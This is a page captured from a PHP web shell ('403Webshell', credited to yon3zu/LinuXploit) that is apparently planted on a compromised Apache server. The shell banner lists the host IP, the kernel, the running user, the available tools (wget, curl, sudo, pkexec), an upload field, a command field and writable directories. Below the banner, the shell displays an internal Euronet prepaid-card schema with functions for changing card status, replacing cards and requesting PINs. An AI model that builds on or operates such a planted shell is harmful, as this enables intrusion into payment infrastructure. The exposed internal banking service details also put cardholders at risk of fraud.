403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/dcb/XSD_WSDL/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/dcb/XSD_WSDL/CardStatusManagementSchema.xsd
<?xml version="1.0" encoding="UTF-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://cdb.ws.eeft.com" xmlns:core="http://core.ws.eeft.com" xmlns:listtypes="http://cdb.ws.eeft.com" targetNamespace="http://cdb.ws.eeft.com">


	<!-- ************************************************************************************* -->
	<!-- ***************************** IMPORT DEFINITIONS ************************************ -->
	<!-- ************************************************************************************* -->

	<xs:import namespace="http://core.ws.eeft.com" schemaLocation="inAuditDSSchema.xsd"/>



	<!-- ************************************************************************************* -->
	<!-- **************************** ELEMENT DEFINITIONS ************************************ -->
	<!-- ************************************************************************************* -->



		<xs:element name="inCard">
		<xs:annotation>
			<xs:documentation>
              		Represent card number for function request. 
			</xs:documentation>
		</xs:annotation>
		<xs:simpleType>
			<xs:restriction base="xs:string">
				<xs:maxLength value="19"/>
			</xs:restriction>
		</xs:simpleType>
		</xs:element>
	
		
		<xs:element name="inPartID">
		<xs:annotation>
			<xs:documentation>
              		Represents the bank which own the given card/account information.  This 
                    	value must represent a valid value as defined by Euronet.  These values
                    	may vary by bank, so they are supplied at the point the web service
                    	consumer elects to build the process to consume this web service.
			</xs:documentation>
		</xs:annotation>
		<xs:simpleType>
			<xs:restriction base="xs:string">
				<xs:maxLength value="3"/>
			</xs:restriction>
		</xs:simpleType>
		</xs:element>

		<xs:element name="inMbr">
		<xs:annotation>
			<xs:documentation>
              		Represents the card sequence number used to identify multiple cards link 
				to same client account. Normally, we treat prepaid cards as a 1-to-1 relationship. 
				But our system allows a single client to have multiple cards. Default value to '1'. 				
			</xs:documentation>
		</xs:annotation>
		<xs:simpleType>
			<xs:restriction base="xs:string">
				<xs:maxLength value="1"/>
			</xs:restriction>
		</xs:simpleType>
		</xs:element>

		<xs:element name="inDOB">
		<xs:annotation>
			<xs:documentation>
              		Represents DOB of customer that wants to activate PPD CHP card. The format would be MMDDYYYY.
				If DOB is passed, web service stored procedure will validate it against value stored on file. 			
			</xs:documentation>
		</xs:annotation>
		<xs:simpleType>
			<xs:restriction base="xs:string">
				<xs:maxLength value="8"/>
			</xs:restriction>
		</xs:simpleType>
		</xs:element>


		<xs:element name="inFunction">
		<xs:annotation>
			<xs:documentation>
              		Represents 'Card Status Management' web service function request. 

				Valid FUNCTIONS as following:
				'*STATUS'	- Change card status (from active to negative or vice versa)
				'*REISSUE'	- Reissue damaged card with same card number.
				'*REPLACE'	- Replace lost, stolen, fraud, etc.	
				'*NEWPIN'	- New PIN request	
				'*PINMAILER'- PIN mailer.			
		 
				
				** FUNCTION and STATUS from input parameters work in the combination with the following rules:

					** To change status from active to negative: 				Function = '*STATUS' and Status = one of the negative statuses (*CLOSE, *LOST, *STOLEN', etc.)
					** To change status from negative to active:				Function = '*STATUS' and Status = '*ACTIVE'.  Note that card must be previously flagged as negative status.
					** To reissue card only: 						     	Function = '*REISSUE' and Status = *blanks
					** To change status to active and reissue card: 			Function = '*REISSUE' and Status = '*ACTIVE'. Note that card must be previously flagged as negative status.
					** To replace card only: 						      Function = '*REPLACE' and Status = *blanks
					** To change active status to negative and replace card: 		Function = '*REPLACE' and Status = one of the negative statuses (*CLOSE, *LOST, *STOLEN', etc.). Note that current card status must be active.
 					** To request new PIN								Function = '*NEWPIN'  and Status = *blanks
					** To request PIN mailer (reprint same PIN)				Function = '*PINMAILER'and Status = *blanks


			</xs:documentation>
		</xs:annotation>
		<xs:simpleType>
			<xs:restriction base="xs:string">
				<xs:maxLength value="10"/>
			</xs:restriction>
		</xs:simpleType>
		</xs:element>		

		<xs:element name="inStatus">
		<xs:annotation>
			<xs:documentation>
              		Represents 'Card Status Management' web service status request in relation with Function request described above.
				
				
				** FUNCTION and STATUS from input parameters work in the combination with the following rules:
					** To change status from active to negative: 				Function = '*STATUS' and Status = one of the negative statuses (*CLOSE, *LOST, *STOLEN', etc.)
					** To change status from negative to active:				Function = '*STATUS' and Status = '*ACTIVE'.  Note that card must be previously flagged as negative status.


			</xs:documentation>
		</xs:annotation>
		<xs:simpleType>
			<xs:restriction base="xs:string">
				<xs:maxLength value="10"/>
			</xs:restriction>
		</xs:simpleType>
		</xs:element>				
	<xs:element name="inMemo">
					<xs:annotation>
						<xs:documentation>
                    				This element represents a status description which the web 
							service provides in request as reason to mark negative card.

								     
						</xs:documentation>
					</xs:annotation>
					<xs:simpleType>
						<xs:restriction base="xs:string">
							<xs:maxLength value="50"/>
						</xs:restriction>
					</xs:simpleType>
				</xs:element>
				
		<xs:element name="inAcceptorID">
		<xs:annotation>
			<xs:documentation>
              		Represents card accepter ID which is unique assigned ID for each Ria Branch or service. 
				This field is used to generate transaction fees for new and PIN mailer request. 
			</xs:documentation>
		</xs:annotation>
		<xs:simpleType>
			<xs:restriction base="xs:string">
				<xs:maxLength value="15"/>
			</xs:restriction>
		</xs:simpleType>
		</xs:element>

		<xs:element name="inAcceptorTerm">
		<xs:annotation>
			<xs:documentation>
              		Represents card accepter terminal ID which is unique assigned ID to physical device such as PC belong to card acceptor ID. 
				This field is used to generate transaction fees for new and PIN mailer request. 
			</xs:documentation>
		</xs:annotation>
		<xs:simpleType>
			<xs:restriction base="xs:string">
				<xs:maxLength value="8"/>
			</xs:restriction>
		</xs:simpleType>
		</xs:element>

		<xs:element name="inAcceptorLoc">
		<xs:annotation>
			<xs:documentation>
              		Represents card accepter location where service is tender. 
				This field is used to generate transaction fees for new and PIN mailer request. 
				The ISO standard format for merchant location as follow:
				Street name (23)
				City (13)
				State (2)
				Country Code (2)
				For Example: EURONET WORLDWIDE      ARKANSAS     ARUS.	
			</xs:documentation>
		</xs:annotation>
		<xs:simpleType>
			<xs:restriction base="xs:string">
				<xs:maxLength value="40"/>
			</xs:restriction>
		</xs:simpleType>
		</xs:element>		

		<xs:element name="inCEMSUserID">
		<xs:annotation>
			<xs:documentation>
              		Represents CEMS User ID sent in the incoming request
			</xs:documentation>
		</xs:annotation>
		<xs:simpleType>
			<xs:restriction base="xs:string">
				<xs:maxLength value="10"/>
			</xs:restriction>
		</xs:simpleType>
		</xs:element>		



	<xs:element name="ResponseHD_CardStatusManagement">
		<xs:complexType>
			<xs:sequence>
			<xs:element maxOccurs="1" minOccurs="1" name="outPartID">
					<xs:annotation>
						<xs:documentation>
                    				Represent card number for function request which is received in request.
						</xs:documentation>
					</xs:annotation>
					<xs:simpleType>
						<xs:restriction base="xs:string">
							<xs:maxLength value="3"/>
						</xs:restriction>
					</xs:simpleType>
				</xs:element>
		        <xs:element maxOccurs="1" minOccurs="1" name="outCard">
					<xs:annotation>
						<xs:documentation>
                    				Represent card number for function request which is received in request.
						</xs:documentation>
					</xs:annotation>
					<xs:simpleType>
						<xs:restriction base="xs:string">
							<xs:maxLength value="19"/>
						</xs:restriction>
					</xs:simpleType>
				</xs:element>
				<xs:element maxOccurs="1" minOccurs="1" name="outPRICard">
					<xs:annotation>
						<xs:documentation>
                    				This element represents new permanent prepaid replaced Primary/CHIP Card Number for Card Replacement function if process completed successfully.
							This element will be returned blanks for unsuccessful process (error response) and other functions requests other than *REPLACE						 
						</xs:documentation>
					</xs:annotation>
					<xs:simpleType>
						<xs:restriction base="xs:string">
							<xs:maxLength value="19"/>
						</xs:restriction>
					</xs:simpleType>
				</xs:element>

				
				<xs:element maxOccurs="1" minOccurs="1" name="outResponse">
					<xs:annotation>
						<xs:documentation>
                    				This element represents a response code which the web 
							service may return to indicate the success/failure of 
							the call.  A value of '00'indicates the call was 
							successful and the response data in the element is 
							available.
								00 - Approved
								01 - Invalid participant id 
								06 - Card number is blank
								07 - Card number not found
								08 - Invalid card status
								13 - Invalid Date of birth
								15 - Both participant and card number are blank
								23 - Invalid function
								24 - Invalid function status
		          					32 - Card already has active status
								99 - Unexpected error occurred, Invalid Audit Data contact support Representative  
								     
						</xs:documentation>
					</xs:annotation>
					<xs:simpleType>
						<xs:restriction base="xs:string">
							<xs:maxLength value="2"/>
						</xs:restriction>
					</xs:simpleType>
				</xs:element>
				
				<xs:element maxOccurs="1" minOccurs="1" name="outMsg">
					<xs:annotation>
						<xs:documentation>
                    				This element represents an internal Euronet error message number. This field is returned blanks when response code is '00' for successful transaction.
						</xs:documentation>
					</xs:annotation>
					<xs:simpleType>
						<xs:restriction base="xs:string">
							<xs:maxLength value="7"/>
						</xs:restriction>
					</xs:simpleType>
				</xs:element>


				<xs:element maxOccurs="1" minOccurs="1" name="outMsgText">
					<xs:annotation>
						<xs:documentation>
                    				This element represents message text associated with the error message number. This field is returned blanks when response code is '00' for successful transaction.
						</xs:documentation>
					</xs:annotation>
					<xs:simpleType>
						<xs:restriction base="xs:string">
							<xs:maxLength value="256"/>
						</xs:restriction>
					</xs:simpleType>
				</xs:element>


			</xs:sequence>
		</xs:complexType>
	</xs:element>





	<!-- ************************************************************************************* -->
	<!-- **************************** MESSAGE DEFINITIONS ************************************ -->
	<!-- ************************************************************************************* -->

	<xs:element name="CardStatusManagementRequest">
		<xs:complexType>
			<xs:sequence> 

				<xs:element maxOccurs="1" minOccurs="1" ref="core:inAuditDS">
					<xs:annotation>
						<xs:documentation>
							Information regarding the Web service consumer.  Special 
							instructions:
								- Set the Application element to 'PPD'.
								- Set the ServiceID element to 'CRDSTSMNGM'.
						</xs:documentation>
					</xs:annotation>
				</xs:element>

				<xs:element maxOccurs="1" minOccurs="1" ref="inPartID">
					<xs:annotation>
						<xs:documentation>
							See element definition earlier in the XML Schema 
							Definition.
						</xs:documentation>
					</xs:annotation>
				</xs:element>
				<xs:element maxOccurs="1" minOccurs="1" ref="inCard">
					<xs:annotation>
						<xs:documentation>
							See element definition earlier in the XML Schema 
							Definition.
						</xs:documentation>
					</xs:annotation>
				</xs:element>

				<xs:element maxOccurs="1" minOccurs="1" ref="inMbr">
					<xs:annotation>
						<xs:documentation>
							See element definition earlier in the XML Schema 
							Definition.
						</xs:documentation>
					</xs:annotation>
				</xs:element>
					
				<xs:element maxOccurs="1" minOccurs="0" ref="inDOB">
					<xs:annotation>
						<xs:documentation>
							See element definition earlier in the XML Schema 
							Definition.
						</xs:documentation>
					</xs:annotation>
				</xs:element>

				<xs:element maxOccurs="1" minOccurs="1" ref="inFunction">
					<xs:annotation>
						<xs:documentation>
							See element definition earlier in the XML Schema 
							Definition.
						</xs:documentation>
					</xs:annotation>
				</xs:element>
									
				<xs:element maxOccurs="1" minOccurs="0" ref="inStatus">
					<xs:annotation>
						<xs:documentation>
							See element definition earlier in the XML Schema 
							Definition.
						</xs:documentation>
					</xs:annotation>
				</xs:element>

				<xs:element maxOccurs="1" minOccurs="0" ref="inMemo">
					<xs:annotation>
						<xs:documentation>
							See element definition earlier in the XML Schema 
							Definition.
						</xs:documentation>
					</xs:annotation>
				</xs:element>

				<xs:element maxOccurs="1" minOccurs="0" ref="inAcceptorID">
					<xs:annotation>
						<xs:documentation>
							See element definition earlier in the XML Schema 
							Definition.
						</xs:documentation>
					</xs:annotation>
				</xs:element>		

				<xs:element maxOccurs="1" minOccurs="0" ref="inAcceptorTerm">
					<xs:annotation>
						<xs:documentation>
							See element definition earlier in the XML Schema 
						</xs:documentation>
					</xs:annotation>
				</xs:element>		
			
				<xs:element maxOccurs="1" minOccurs="0" ref="inAcceptorLoc">
					<xs:annotation>
						<xs:documentation>
							See element definition earlier in the XML Schema 
							Definition.
						</xs:documentation>
					</xs:annotation>
				</xs:element>	

				<xs:element maxOccurs="1" minOccurs="0" ref="inCEMSUserID">
					<xs:annotation>
						<xs:documentation>
							See element definition earlier in the XML Schema 
							Definition.
						</xs:documentation>
					</xs:annotation>
				</xs:element>	
				


			</xs:sequence>
		</xs:complexType>
	</xs:element>

	<xs:element name="CardStatusManagementResponse">
		<xs:complexType>
			<xs:sequence>

				<xs:element maxOccurs="1" minOccurs="1" ref="ResponseHD_CardStatusManagement">
					<xs:annotation>
						<xs:documentation>
							See element definition earlier in the XML Schema 
							Definition.
						</xs:documentation>
					</xs:annotation>
				</xs:element>
				
			</xs:sequence>
		</xs:complexType>
	</xs:element>


</xs:schema>

Youez - 2016 - github.com/yon3zu
LinuXploit